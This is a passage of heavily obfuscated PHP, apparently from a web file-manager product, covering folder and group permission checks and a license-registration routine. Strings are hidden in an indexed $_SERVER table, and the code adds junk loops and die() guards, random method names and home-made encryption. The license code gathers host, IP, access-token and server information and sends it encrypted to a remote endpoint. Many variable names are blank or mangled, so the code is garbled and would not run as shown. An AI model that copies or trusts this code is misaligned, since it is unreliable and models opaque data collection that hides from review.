? $죳[0] : $; return array($ԁ[415] => -1, $ԁ[466] => array($ԁ[420] => $ԁ[1175], $ԁ[1816] => $ԁ[190], $ԁ[421] => LNG($ԁ[1995]), $ԁ[1832] => $ԁ[1996]), $ԁ[1997] => LNG($ԁ[1998]), $ԁ[1999] => $this->sourceAuthInfo($Ɂ)); } protected function makeAuthDeep($ř䋅 = false) { $Ւ =& $_SERVER[]; static $ = array(); $ř䋅 = $ř䋅 ? $ř䋅 : USER_ID; if (isset($[$ř䋅])) { return $[$ř䋅]; } $ = Model($Ւ[2000])->listData(); $ = array(); foreach ($ as $򾍳) { if ($򾍳[$Ւ[414]] == 0 && $򾍳[$Ւ[1831]] == $Ւ[89]) { $[] = $򾍳[$Ւ[401]]; } } $ꎑ = $this->userGroupParents($ř䋅); $ֶ = array($Ւ[412] => SourceModel::TYPE_USER, $Ւ[504] => $ř䋅); if ($ꎑ) { $ֶ = array(array($Ւ[412] => SourceModel::TYPE_USER, $Ւ[504] => $ř䋅), array($Ւ[412] => SourceModel::TYPE_GROUP, $Ւ[504] => array($Ւ[419], $ꎑ)), $Ւ[987] => $Ւ[1905]); } $܃ = $this->field($Ւ[2001])->where($ֶ)->select(); $ܦߌ = array(); $ = array_to_keyvalue_group($܃, $Ւ[403]); foreach ($ as $ճؼ => $š) { $ = $this->authArrayCheck($š, $ř䋅); if ($[$Ւ[415]] > 0) { $ܦߌ[] = $ճؼ . $Ւ[12]; } } if ($ꎑ) { $χ = Model($Ւ[522]); foreach ($ꎑ as $Ȼ) { $ = $χ->getInfo($Ȼ); if (!$ || !is_array($[$Ւ[87]])) { continue; } $ܦߌ[] = $[$Ւ[87]][$Ւ[403]]; } } $ڞ = array(); $ = $ꎑ; $ = Model($Ւ[1312]); $χ = Model($Ւ[522]); $š = array(); $ = array(); $ = array(); $֑ = array(); if ($ܦߌ) { $ = $->where(array($Ւ[403] => array($Ւ[419], $ܦߌ)))->select(); foreach ($ as $ƽƎ) { $Ή = $->parentLevelArray($ƽƎ[$Ւ[521]]); $ڞ = array_merge($ڞ, $Ή); $[] = $ƽƎ[$Ւ[504]]; $š[$ƽƎ[$Ւ[403]]] = $Ή; $[$ƽƎ[$Ւ[403]]] = $ƽƎ[$Ւ[504]]; } } $ = array_values(array_unique($)); $ڭ = $; foreach ($ڭ as $Ȼ) { $ = $χ->getInfo($Ȼ); $Ή = $->parentLevelArray($[$Ւ[521]]); $ = array_merge($, $Ή); } $ = array_values(array_unique($)); foreach ($ as $Ȼ) { $ = $χ->getInfo($Ȼ); $ڞ[] = $[$Ւ[87]][$Ւ[403]]; $[$Ȼ] = $[$Ւ[87]][$Ւ[403]]; $֑[$Ȼ] = $->parentLevelArray($[$Ւ[521]]); } foreach ($š as $ => $) { $ = $[$]; if (!$ || !$[$]) { continue; } $ݚ = array(); foreach ($֑[$] as $Ȼ) { $ݚ[] = $[$Ȼ]; } $š[$] = array_merge($ݚ, $); } $ڞ = array_values(array_unique($ڞ)); $ = array($Ւ[1993] => $ڞ, $Ւ[1994] => $š); $[$ř䋅] = $; return $; } private function makeSourceAuth($, $܌, $޵ = false) { $ߣ =& $_SERVER[]; $†´ = $ߣ[89]; $ = $[$ߣ[504]]; $Ӫ = $[$ߣ[412]] == SourceModel::TYPE_GROUP; $ = $Ӫ ? $this->groupRootAuth($, $޵) : !1; if ($ && Model($ߣ[507])->authCheckAction($[$ߣ[414]], $ߣ[1830])) { return $this->groupAuthInfo($, $); } $ږ = Model($ߣ[1312])->parentLevelArray($[$ߣ[521]]); $ږ = array_merge(array($[$ߣ[403]]), array_reverse($ږ)); $ = !1; foreach ($ږ as $ê) { if (!isset($܌[$ê])) { continue; } $裀 = $this->authMake($܌[$ê], $޵); if ($裀[$ߣ[466]]) { $ = $裀; break; } } if (!$Ӫ) { return $; } if (!$ && $) { $ = $this->groupAuthInfo($, $); } if (!$) { $ŕ = Model($ߣ[522])->getInfo($); $̜ = explode($ߣ[50], trim($ŕ[$ߣ[521]], $ߣ[50])); $̜ = array_reverse($̜); foreach ($̜ as $ъ) { if ($ъ == $ߣ[190] || $ъ == $†´) { continue; } $𢤮 = $this->groupRootAuth($ъ, $޵); if (!$𢤮) { continue; } $ = $this->groupAuthInfo($𢤮, $ъ); break; } } if (!$ || $[$ߣ[415]] <= 0) { $ڠ = $this->authDeepCheck($[$ߣ[403]], $޵); if ($ڠ) { $ = $ڠ; } } return $; } private function userIsRoot($ = false) { $䪺 =& $_SERVER[]; if (!$ && _get($GLOBALS, $䪺[505])) { return !0; } $͒ = Model($䪺[538])->getInfo($); $ = Model($䪺[2002])->listData($͒[$䪺[1519]]); if ($ && $[$䪺[511]][$䪺[2003]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $і⥴ =& $_SERVER[]; $ܐ = Model($і⥴[1312]); $ = $ܐ->sourceInfo($); if (!$) { return !1; } $ܐ->groupPathDisplay($); $ = array($); $ = $ܐ->_listAppendPath($); $ = $[0]; $؟ = $[$і⥴[519]]; if (isset($[$і⥴[527]])) { $ϯ瘾 = explode($і⥴[8], trim($[$і⥴[519]], $і⥴[8])); array_shift($ϯ瘾); $؟ = $[$і⥴[525]] . $і⥴[2004] . implode($і⥴[8], $ϯ瘾); } return array($і⥴[421] => $[$і⥴[32]], $і⥴[78] => KodIO::make($[$і⥴[403]]), $і⥴[2005] => $؟); } private function groupAuthInfo($, $ȃ) { $˛ =& $_SERVER[]; $ا = Model($˛[522])->getInfo($ȃ); return array($˛[2006] => intval($[$˛[414]]), $˛[1990] => $, $˛[2007] => LNG($˛[2008]), $˛[1999] => array($˛[421] => $ا[$˛[32]], $˛[78] => KodIO::make($ا[$˛[87]][$˛[403]]), $˛[2005] => $ا[$˛[526]])); } protected function groupRootAuth($ﻃ, $Ƥ = false) { $ׁ =& $_SERVER[]; $Ƥ = $Ƥ ? $Ƥ : USER_ID; $ = $Ƥ . $ׁ[2009] . $ﻃ; static $ٲ = array(); if (isset($ٲ[$])) { return $ٲ[$]; } $ = Model($ׁ[522])->getInfo($ﻃ); $̼ = $this->userGroupList($Ƥ); $ = isset($̼[$ﻃ]) ? $̼[$ﻃ][$ׁ[414]] : !1; if ($ && Model($ׁ[507])->authCheckAction($[$ׁ[414]], $ׁ[1830])) { $ٲ[$] = $; return $; } $ܡ = $this->sourceAuthSelect($[$ׁ[87]][$ׁ[403]]); $ = $ܡ ? $this->authMake($ܡ, $Ƥ) : !1; $닽 = $ ? $[$ׁ[466]] : !1; $ٲ[$] = $닽 ? $닽 : $; return $ٲ[$]; } public function authOwnerApply($溳) { $̸Ҍ =& $_SERVER[]; if (empty($溳[$̸Ҍ[414]]) || isset($溳[$̸Ҍ[2010]]) && $溳[$̸Ҍ[2010]]) { return $溳; } if (AuthModel::authCheckRoot($溳[$̸Ҍ[414]][$̸Ҍ[415]])) { return $溳; } $ص = Model($̸Ҍ[1312])->parentLevelArray($溳[$̸Ҍ[521]]); $ص = array_merge(array($溳[$̸Ҍ[403]]), array_reverse($ص)); $颵 = $this->sourceAuthSelect($ص); $ = array(); $ͽ = array(); foreach ($颵 as $ => $߬) { $˴ = $this->authFolderOwnerUser($߬); $[$] = $˴; $ͽ = array_merge($ͽ, $˴[$̸Ҍ[594]]); if ($˴[$̸Ҍ[2011]]) { break; } } if (count($ͽ) == 0) { $ͽ = $this->authFolderOwnerGroup($溳[$̸Ҍ[504]]); } $ͽ = array_unique($ͽ); if (AuthModel::authCheckRoot($溳[$̸Ҍ[414]][$̸Ҍ[415]])) { $ͽ[] = USER_ID; } $溳[$̸Ҍ[414]][$̸Ҍ[2012]] = Model($̸Ҍ[513])->userListInfo($ͽ); return $溳; } private function authFolderOwnerGroup($) { $݊ =& $_SERVER[]; $ֵ = Model($݊[1899])->where(array($݊[1810] => $))->select(); $ = array(); if (!$ֵ) { return $; } foreach ($ֵ as $) { $潇 = $this->authInfo($); if (AuthModel::authCheckRoot($潇[$݊[414]])) { $[] = $[$݊[1642]]; } } return $; } private function authFolderOwnerUser($޿) { $Ƒ =& $_SERVER[]; $ = array(); $퇺 = !1; foreach ($޿ as $޺) { $٦ = $this->authInfo($޺); if ($޺[$Ƒ[504]] == $Ƒ[190]) { $퇺 = !0; } if ($޺[$Ƒ[412]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($٦[$Ƒ[414]])) { $[] = $޺[$Ƒ[504]]; } } } return array($Ƒ[594] => $, $Ƒ[2011] => $퇺); } public function authMake($, $ʷ = false) { $ݜ =& $_SERVER[]; $ۃ = $this->authArrayCheck($, $ʷ); if ($ۃ[$ݜ[2013]]) { $ۃ[$ݜ[2013]] = $this->sourceAuthInfo($ۃ[$ݜ[2013]]); } return $ۃ; } public function authArrayCheck($̈Ǟ, $۵ = false) { $ =& $_SERVER[]; if (!$̈Ǟ) { return array($[415] => 0, $[466] => !1); } $۵ = $۵ ? $۵ : USER_ID; $ = 0; $ = 0; $ɥ = 0; $ޭᶮ = 0; $ = 0; $앱ݡ = 0; $ = 1000; $ώ = 0; $ = 0; $ = 0; $ɸ = 0; $ = array($[403] => 0); foreach ($̈Ǟ as $) { $Ս = $this->authInfo($); if (!$Ս) { continue; } $Ýߧ = $[$[504]]; $׫ = intval($Ս[$[414]]); if ($[$[412]] == SourceModel::TYPE_USER && $Ýߧ == $۵) { $ = !0; $ɥ = $Ս; $ = $׫; } else { if ($[$[412]] == SourceModel::TYPE_GROUP && $this->groupContainUser($Ýߧ, $۵)) { $ޭᶮ = !0; $٩ = $this->groupStepToUserGroup($Ýߧ, $۵); if ($٩ < $) { $ = $٩; $ = $׫; $앱ݡ = $Ս; $ώ = $Ýߧ; } if ($٩ == $ && $׫ >= $) { $ = $׫; $앱ݡ = $Ս; $ώ = $Ýߧ; } } else { if ($Ýߧ == $[190]) { $ = !0; $ɸ = $Ս; $ = $׫; } } } } if ($) { $ם = $; $Ս = $ɥ; $ = LNG($[2014]); } else { if ($ޭᶮ) { $ם = $; $Ս = $앱ݡ; $⺂ = Model($[522])->getInfo($ώ); $ = $[159] . $⺂[$[526]] . $[2015] . LNG($[2016]); } else { if ($) { $ם = $; $Ս = $ɸ; $ = LNG($[1987]); } else { $ם = 0; $Ս = !1; $ = $[12]; } } } $ζ = array($[2006] => intval($ם), $[1990] => $Ս, $[2007] => $, $[1999] => $[$[403]]); return $ζ; } private function groupContainUser($, $ = false) { return in_array($, $this->userGroupParents($)); } private function groupStepToUserGroup($, $Ɗ = false) { $̜ޮ =& $_SERVER[]; $ = $this->userGroupList($Ɗ); $ = 1000; $ = $GLOBALS[$̜ޮ[6]][$̜ޮ[90]][$̜ޮ[1910]] == 1; $نލ = $ ? 3 : 2; foreach ($ as $) { if ($[$̜ޮ[1810]] == $) { return 0; } $꫗Ӗ = explode($̜ޮ[50], trim($[$̜ޮ[521]], $̜ޮ[50])); if ($꫗Ӗ[0] == $̜ޮ[190] && count($꫗Ӗ) > $نލ) { $ = array_reverse(array_slice($꫗Ӗ, $نލ)); $ϧȋ = array_search($, $); if ($ϧȋ !== !1 && $ϧȋ + 1 <= $) { $ = $ϧȋ + 1; } } } return $; } private function userGroupList($֫ = false) { $ =& $_SERVER[]; static $ = array(); if (isset($[$֫])) { return $[$֫]; } $ = Model($[538])->getInfo($֫); $[$֫] = array_to_keyvalue($[$[1988]], $[1810]); return $[$֫]; } public function userGroupParents($邹) { $۲ =& $_SERVER[]; static $ᳺֿ = array(); $邹 = $邹 ? $邹 : USER_ID; if (isset($ᳺֿ[$邹])) { return $ᳺֿ[$邹]; } $̯Γ = $this->userGroupList($邹); $ = array(); $ = $GLOBALS[$۲[6]][$۲[90]][$۲[1910]] == 1; $ܢ = $ ? 3 : 2; foreach ($̯Γ as $Ợ) { $ = array($Ợ[$۲[1810]]); $ʭ = explode($۲[50], trim($Ợ[$۲[521]], $۲[50])); if ($ʭ[0] == $۲[190] && count($ʭ) > $ܢ) { $ = array_slice($ʭ, $ܢ); $ = array_merge($, array_reverse($)); } $ = array_merge($, $); } $ᳺֿ[$邹] = array_unique($); return $ᳺֿ[$邹]; } public function authTargetInfoMake($) { $북 =& $_SERVER[]; $ = array(); $ꨱà = array(); foreach ($ as $Џ) { if ($Џ[$북[412]] == SourceModel::TYPE_USER) { $[] = intval($Џ[$북[504]]); } else { if ($Џ[$북[412]] == SourceModel::TYPE_GROUP) { $ꨱà[] = intval($Џ[$북[504]]); } } } if ($) { $ = Model($북[513])->userListInfo($); } if ($ꨱà) { $͇ = array($북[1897] => array($북[419], $ꨱà)); $ꨱà = Model($북[522])->field($북[2017])->where($͇)->select(); $ꨱà = array_to_keyvalue($ꨱà, $북[1810]); } return array($북[2018] => $, $북[2019] => $ꨱà); } public function authInfo($֤) { $̽ =& $_SERVER[]; if ($֤[$̽[1911]]) { $ݱ = Model($̽[507])->listData($֤[$̽[1911]]); if (!$ݱ) { return !1; $ = Model($̽[507])->listData(); $ʲ = array_filter_by_field($, $̽[414], $̽[190]); return $ʲ; } $ = array_field_key($ݱ, array($̽[401], $̽[32], $̽[414], $̽[1832], $̽[1833])); $[$̽[2020]] = $֤; return $; } else { return array($̽[420] => 0, $̽[1816] => $֤[$̽[1965]], $̽[421] => $̽[12], $̽[1832] => $̽[2021]); } } } goto f; Fڝ΍: while ($qtxmvhlzas < $_SERVER[][394]) { if ($qtxmvhlzas >= 0) { break; } $qtxmvhlzas++; } class Application { private $defaultModule = "\x69\156\144\x65\x78"; private $defaultController = "\151\156\x64\145\170"; private $defaultAction = "\151\156\x64\x65\x78"; function __construct() { } public function setDefault($) { $ˊ =& $_SERVER[]; $ =& $_SERVER[⼦]; $ށ = explode($[0], trim($, $[0])); $ծ닐 = $ˊ[611]; if (!$ծ닐) { return; } $this->defaultModule = $ށ[0] ? $ށ[0] : $this->defaultModule; $Ց = $ˊ[612]; while (strlen($Ց) < $ˊ[613]) { if (!$Ց) { break; } $Ց++; } $this->defaultController = $ށ[1] ? $ށ[1] : $this->defaultController; $ѫ = $ˊ[614]; if (!$ѫ) { die; } $this->defaultAction = $ށ[2] ? $ށ[2] : $this->defaultAction; $this->sfcv795af8c0($[1], array($this, $[2])); } public function appRun($) { $ =& $_SERVER[]; $ =& $_SERVER[⼦]; $ = explode($[0], $); $ = $[615]; $ = strtolower($[0]); $ = $[616]; if (strlen($) < $[617]) { die; } $ϳ = $[3]; $终 = $[618]; if ($ == $[4]) { $ϳ = $[5]; $[0] = $[6]; $[1] = $[1] . $[7]; $ = join($[0], $); $ = trim($, $[0]); } call_user_func(array($[8], $[9]), $ϳ . $[10], $); ActionCall($); $˄ܙ = $[619]; if (!$˄ܙ) { die; } call_user_func(array($[8], $[9]), $ϳ . $[11], $); $효 = $[620]; } private function autorun() { $̢ĸ =& $_SERVER[]; $ =& $_SERVER[⼦]; global $config; $Ў = $̢ĸ[621]; if (strlen($Ў) < $̢ĸ[394]) { die; } if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ => $Ő) { $this->appRun($Ő); } } private function lhsy4dda6e88() { $ =& $_SERVER[]; $֜ =& $_SERVER[⼦]; $ο = $֜[4]; $ٿ = $GLOBALS[$֜[13]][$֜[14]][0]; $ = $[622]; while ($ < $[617]) { if ($ >= 0) { break; } $++; } if (!$ٿ || strlen($ٿ) <= strlen($ο)) { return; } if (strtolower(substr($ٿ, -strlen($ο))) != $ο) { return; } $ٲ = substr($ٿ, 0, -strlen($ο)); $ = array($֜[4], $ٲ); $ = $[623]; if (strlen($) < $[624]) { return; } $׎ = array_slice($GLOBALS[$֜[13]][$֜[14]], 1); $ = $[625]; while (strlen($) < $[394]) { if (!$) { break; } $++; } $GLOBALS[$֜[13]][$֜[14]] = array_merge($, $׎); $GLOBALS[$֜[13]][$֜[15]] = implode($֜[0], $GLOBALS[$֜[13]][$֜[14]]); $ = $[626]; while (strlen($) < $[394]) { if (!$) { break; } $++; } } private function nhqya2e5b7c8() { $ݙ =& $_SERVER[]; $ִα =& $_SERVER[⼦]; if ($GLOBALS[$ִα[13]][$ִα[15]] != $ִα[6]) { return; } $ = $_SERVER[$ִα[16]]; $ˠī = $ִα[17]; if (!strstr($, $ˠī)) { return; } $ = strrpos($, $ˠī); $ϙ = substr($, $ + strlen($ˠī)); preg_match_all($ִα[18], $ϙ, $;); $ = $ݙ[627]; if (!$) { die; } $ϙ = trim($;[0][0], $ִα[19]); $GLOBALS[$ִα[13]][$ִα[14]] = explode($ִα[19], $ϙ); $ۂ = $ݙ[628]; if (!$ۂ) { die; } $GLOBALS[$ִα[13]][$ִα[15]] = implode($ִα[0], $GLOBALS[$ִα[13]][$ִα[14]]); } public function run() { $ե =& $_SERVER[]; $– =& $_SERVER[⼦]; $this->nhqya2e5b7c8(); $this->lhsy4dda6e88(); $̄ = $ե[629]; if (!$̄) { return; } $ = $GLOBALS[$–[13]][$–[14]]; $ݽ = $ե[630]; $桧 = $GLOBALS[$–[13]][$–[15]]; $Ȯ = $ե[631]; define($–[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); define($–[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); $ = $ե[632]; if (strlen($) < $ե[624]) { return; } define($–[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); $̐ = $ե[633]; define($–[23], MOD . $–[0] . ST . $–[0] . ACT); $_SERVER[$–[24]] = strtolower(ACTION); $ŵ = $ե[634]; if (strlen($ŵ) < $ե[607]) { return; } $this->autorun(); if (count($) >= 3) { $this->appRun($桧); } else { $this->appRun(ACTION); } } private $vwzf0fa51ad4 = array(); private $lszh062d97ab = ''; public function wmcg504d019a() { $ؒ =& $_SERVER[]; $ᾝ =& $_SERVER[⼦]; $this->melw45cf347d(); $this->cwof82aafd8d(); $Ϲ = $ؒ[635]; while (strlen($Ϲ) < $ؒ[613]) { if (!$Ϲ) { break; } $Ϲ++; } $this->ebgd6fb01a3e(); $this->rhkmf25aadea(); $this->wvjz210bbddd(); $ = $ؒ[636]; while (strlen($) < $ؒ[394]) { if (!$) { break; } $++; } $this->gsxd9e5499b4(); $ = $ؒ[637]; if (!$) { die; } $this->cnkg90049c38(); $this->sfcv795af8c0($ᾝ[25], array($this, $ᾝ[26])); $this->sfcv795af8c0($ᾝ[27], array($this, $ᾝ[28])); $ = $ؒ[638]; $this->sfcv795af8c0($ᾝ[29], array($this, $ᾝ[30])); $ = $ؒ[639]; if (!$) { return; } $this->sfcv795af8c0($ᾝ[31], array($this, $ᾝ[32])); $ = $ؒ[640]; if (strlen($) < $ؒ[607]) { die; } } public function rtps9feced75($撻) { $ק =& $_SERVER[]; $ =& $_SERVER[⼦]; $ = Model($[33])->get(); $ = $ק[641]; if (!$) { die; } $ = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82]); foreach ($ as $) { $Ś = $GLOBALS[$[83]][$[84]][$]; $񡩖ڻ = $ק[642]; if (!$񡩖ڻ) { return; } if (isset($[$])) { $Ś = $[$]; } $撻[$[85]][$[86]][$] = $Ś; } $ۭ = $撻[$[85]][$[86]][$[46]]; unset($撻[$[85]][$[87]][$[88]]); unset($撻[$[85]][$[87]][$[89]]); unset($撻[$[85]][$[86]][$[46]]); $ = $ק[643]; if (strlen($) < $ק[613]) { return; } unset($撻[$[85]][$[86]][$[90]]); $撻[$[85]][$[86]][$[91]] = array($[92] => (int) $ۭ[$[93]], $[94] => (int) _get($ۭ, $[95], 0)); $ҏ = $ק[644]; if (!$ҏ) { die; } $撻[$[96]][$[97]] = Action($[98])->accessToken(); $Ϭ = $ק[645]; if (strlen($Ϭ) < $ק[617]) { die; } $撻[$[96]][$[99]] = md5($_SERVER[$[100]] . $[$[101]]); $撻[$[96]][$[102]] = base64_encode(serverInfo()); $뤐 = $ק[646]; if (strlen($뤐) < $ק[624]) { die; } $撻[$[96]][$[103]] = $this->lszh062d97ab; if ($[$[103]] != $[104]) { $撻[$[96]][$[105]] = $[$[105]]; $撻[$[96]][$[106]] = $[$[106]]; $ޓ = rand_string(10) . $this->lszh062d97ab . rand_string(5); $撻[$[85]][$[107]][$[108]] = $this->zphbbfae25ca($ޓ, $撻[$[96]][$[99]]); } if ($this->lszh062d97ab == $[104]) { $撻[$[85]][$[86]][$[91]][$[95]] = 0; } $撻[$[96]][$[109]] = _get($this->vwzf0fa51ad4, $[110], $[6]); $撻[$[96]][$[111]] = _get($this->vwzf0fa51ad4, $[112], $[6]); if (_get($GLOBALS, $[113]) && $this->config[$[114]]) { $撻[$[96]][$[115]] = WEB_ROOT; } return $撻; } private function gsxd9e5499b4() { $̴벟 =& $_SERVER[]; $ӂ =& $_SERVER[⼦]; if ($_SERVER[$ӂ[24]] == $ӂ[116]) { $ޱ = array($ӂ[103] => $this->lszh062d97ab, $ӂ[117] => $this->hdxu117184c0(), $ӂ[118] => Model($ӂ[119])->count()); if ($this->lszh062d97ab != $ӂ[104]) { $ = _get($this->vwzf0fa51ad4, $ӂ[120]); if ($) { $ޱ[$ӂ[121]] = $; $ޱ[$ӂ[122]] = strtotime(_get($this->vwzf0fa51ad4, $ӂ[123])); $ޱ[$ӂ[124]] = _get($this->vwzf0fa51ad4, $ӂ[112]); } $㷬 = Model($ӂ[33])->get($ӂ[125], $ӂ[6], !0); if (is_string($㷬) && substr($㷬, 0, 1) == $ӂ[126]) { $㷬 = json_decode_force($㷬); } if (is_array($㷬) && $㷬[$ӂ[127]] && strstr($㷬[$ӂ[127]], $ӂ[128])) { $ᬻ = explode($ӂ[128], $㷬[$ӂ[127]]); $ޱ[$ӂ[129]] = $ᬻ[0]; } } $ޱ = $this->yasq46999d1f(json_encode($ޱ), md5($ӂ[130])); $ = $̴벟[647]; if (!$) { die; } $ڲڀ = array($ӂ[131] => $ޱ); call_user_func(array($ӂ[132], $ӂ[133]), $ڲڀ); } if ($this->lszh062d97ab == $ӂ[104]) { return; } $ = array($ӂ[134], $ӂ[135], $ӂ[136], $ӂ[137], $ӂ[138], $ӂ[139]); $͢ = Model($ӂ[33])->get(); $ަ = $̴벟[648]; if (!$ަ) { die; } $ڲڀ = array($ӂ[140] => $͢[$ӂ[34]], $ӂ[141] => $͢[$ӂ[35]], $ӂ[142] => $ӂ[6]); $ɘА = $̴벟[649]; if (strlen($ɘА) < $̴벟[394]) { die; } foreach ($ as $) { if (!isset($͢[$]) || !$͢[$]) { continue; } $ڲڀ[$] = $͢[$]; } call_user_func(array($ӂ[132], $ӂ[133]), $ڲڀ); } private function rhkmf25aadea() { $ =& $_SERVER[]; $񾈛 =& $_SERVER[⼦]; if ($_SERVER[$񾈛[24]] != $񾈛[143]) { return; } if (!_get($GLOBALS, $񾈛[113])) { die; } $ = $GLOBALS[$񾈛[13]]; if (isset($[$񾈛[144]])) { $this->fnuo1fb2d5cf(); die; } if (!isset($[$񾈛[145]]) || strlen($[$񾈛[145]]) != 16) { show_json($񾈛[146] . $[$񾈛[145]], !1); } $򣋅 = Model($񾈛[33])->get($񾈛[101]); $вµ = md5($_SERVER[$񾈛[100]] . $򣋅); $ڰۉ = array($񾈛[145] => $[$񾈛[145]], $񾈛[147] => rand_string(16), $񾈛[148] => $񾈛[130], $񾈛[149] => $񾈛[150], $񾈛[151] => $_SERVER[$񾈛[152]], $񾈛[153] => $_SERVER[$񾈛[154]], $񾈛[155] => $_SERVER[$񾈛[156]], $񾈛[99] => $вµ, $񾈛[157] => Model($񾈛[33])->get($񾈛[125])); $ = $[650]; if (strlen($) < $[617]) { die; } if ($[$񾈛[158]] == $񾈛[159]) { $л = $this->yasq46999d1f($вµ, $񾈛[160]); $Ö = $this->zphbbfae25ca(json_encode($ڰۉ), $вµ . $񾈛[161], 3); $Ö = $Ö . $񾈛[162] . $_SERVER[$񾈛[152]]; $ϥ = $this->vfna16763856($񾈛[163] . $л . $񾈛[164] . $Ö, -1); show_json($ϥ, !0); } else { if ($[$񾈛[158]] == $񾈛[165]) { $ = substr(md5($񾈛[166] . $вµ), 12, 15) . $񾈛[167]; $Ö = $this->clzsecc6a5df(trim($[$񾈛[168]]), $, 2); $ = json_decode($Ö, !0); if (!is_array($) || !is_array($[$񾈛[169]]) || $[$񾈛[145]] != !0) { $ = $񾈛[170]; $ά = $[$񾈛[169]] ? $񾈛[171] . $[$񾈛[169]] : $; show_json($ά, !1); } else { $ڰۉ[$񾈛[147]] = $[$񾈛[169]][$񾈛[172]]; } } else { $ = $this->vfna16763856($񾈛[173], $ڰۉ, 10); } } if (!is_array($) || !is_array($[$񾈛[169]]) || $[$񾈛[145]] != !0) { $ = LNG($񾈛[174]); $ά = $[$񾈛[169]] ? $񾈛[171] . $[$񾈛[169]] : $; show_json($ά, !1); } $ = $[$񾈛[169]]; $并 = $this->oudff095d4ba($[$񾈛[175]]); if (!$并 || $并 != $[$񾈛[123]]) { $ʗ = array($񾈛[176] => Model($񾈛[33])->get($񾈛[101]), $񾈛[177] => $_SERVER[$񾈛[100]], $񾈛[178] => this_url(), $񾈛[153] => $_SERVER[$񾈛[154]]); $Ö = $this->nmyp731ec7bd(json_encode($ʗ)); $this->vfna16763856($񾈛[179] . $Ö); show_json(LNG($񾈛[180]), !0); } $멱 = array($񾈛[181] => $[$񾈛[182]], $񾈛[183] => $[$񾈛[184]], $񾈛[185] => rand_string(16), $񾈛[103] => $[$񾈛[186]]); if ($ڰۉ[$񾈛[147]]) { $멱[$񾈛[185]] = $ڰۉ[$񾈛[147]]; } $ʥ͔ = substr(md5($멱[$񾈛[183]]), 10, 10); $ = $ʥ͔ . $멱[$񾈛[103]] . $멱[$񾈛[185]]; $ = $[651]; while ($ < $[624]) { if ($ >= 0) { break; } $++; } $멱[$񾈛[105]] = strrev(base64_encode($this->yasq46999d1f($, $񾈛[187]))); $޺ = rand_string(16); $߼ = $[652]; $ = $޺ . $멱[$񾈛[103]] . $this->yasq46999d1f(md5($멱[$񾈛[181]]), $޺); $멱[$񾈛[106]] = base64_encode(strrev($this->yasq46999d1f($, $񾈛[188]))); if ($[$񾈛[189]] && $[$񾈛[189]] >= 1) { Model($񾈛[33])->setDeep($񾈛[190], $񾈛[191]); } Model($񾈛[33])->set($멱); $ = md5($_SERVER[$񾈛[100]] . strrev($򣋅) . $멱[$񾈛[183]]); $ = strrev(substr($, 10, 16)); $ב۞ = $[653]; if (!$ב۞) { return; } $ = $this->zphbbfae25ca(json_encode($), $); $ޱ = $[654]; $Ƥ = array_to_keyvalue(Model($񾈛[7])->listData(), $񾈛[192]); $䢁׶ = $[655]; if (strlen($䢁׶) < $[607]) { return; } $Π = $Ƥ[$񾈛[193]]; $ = array(); $[$] = $; Model($񾈛[7])->update($Π[$񾈛[194]], array($񾈛[195] => $)); $ = $[656]; if (strlen($) < $[394]) { die; } $this->vwzf0fa51ad4 = $; $this->lszh062d97ab = $멱[$񾈛[103]]; $ = $[657]; if (!$) { die; } $this->licenseRegistSuccess(); $ړ = $[658]; if (strlen($ړ) < $[394]) { die; } Cache::set($񾈛[196] . md5($򣋅 . $񾈛[197]), $񾈛[6]); $ = $[659]; show_json(LNG($񾈛[180]), !0); } private function licenseRegistSuccess() { $֏ =& $_SERVER[⼦]; $魉 = Model($֏[33])->get(); if ($魉[$֏[63]] != $֏[191]) { Model($֏[33])->set($֏[63], $֏[191]); } Action($֏[198])->initStart(!0); } private function fnuo1fb2d5cf() { $ =& $_SERVER[]; $ā =& $_SERVER[⼦]; Model($ā[33])->set(array($ā[181] => $ā[6], $ā[183] => $ā[6], $ā[103] => $ā[104], $ā[105] => $ā[6], $ā[106] => $ā[6])); $ = $[660]; if (!$) { die; } Model($ā[33])->setDeep($ā[190], $ā[199]); $this->vwzf0fa51ad4 = array(); $this->lszh062d97ab = $ā[104]; $ׇ = $[661]; if (strlen($ׇ) < $[607]) { die; } } private function melw45cf347d() { $ =& $_SERVER[]; $ =& $_SERVER[⼦]; $_SERVER[$[154]] = _get($_SERVER, $[154], APP_HOST); $ = $[662]; if (!$) { die; } $this->lszh062d97ab = $[104]; $ = $[663]; if (!$) { return; } $ = Model($[33])->get(); $܀ = $[664]; if (strlen($܀) < $[613]) { die; } if ($[$[103]] == $[104]) { return; } $ = Model($[33])->get($[101]); $祐 = $[665]; if (!$祐) { die; } $ρ = $[196] . md5($ . $[197]); $Է = $[666]; if (strlen($Է) < $[607]) { return; } $㮟 = Cache::get($ρ); $׳ = $[667]; while (strlen($׳) < $[617]) { if (!$׳) { break; } $׳++; } if (!is_array($㮟) || !isset($㮟[$[200]]) || time() - $㮟[$[200]] >= 60) { $Ȑܑ = Model($[7])->loadList(); $޿ﰒ = $Ȑܑ[$[193]]; $ = md5($_SERVER[$[100]] . strrev($) . $[$[183]]); $ = strrev(substr($, 10, 16)); $㮟 = $this->clzsecc6a5df($޿ﰒ[$[83]][$], $); $㮟 = json_decode($㮟, !0); } if (!is_array($㮟)) { return $this->fnuo1fb2d5cf(); } $ = strtotime($㮟[$[123]]); if (time() >= $) { return $this->fnuo1fb2d5cf(); } if (time() - $㮟[$[200]] > 20) { $㮟[$[200]] = time(); Cache::set($ρ, $㮟); } $this->vwzf0fa51ad4 = $㮟; $this->lszh062d97ab = $[$[103]]; } private function cwof82aafd8d() { $ =& $_SERVER[]; $ڜ =& $_SERVER[⼦]; $ɤ = $GLOBALS[$ڜ[13]]; $ݰڞ = $[668]; while ($ݰڞ < $[394]) { if ($ݰڞ >= 0) { break; } $ݰڞ++; } $ = $_SERVER[$ڜ[24]]; if ($ == $ڜ[201] && $this->lszh062d97ab == $ڜ[104]) { show_json(LNG($ڜ[202]), 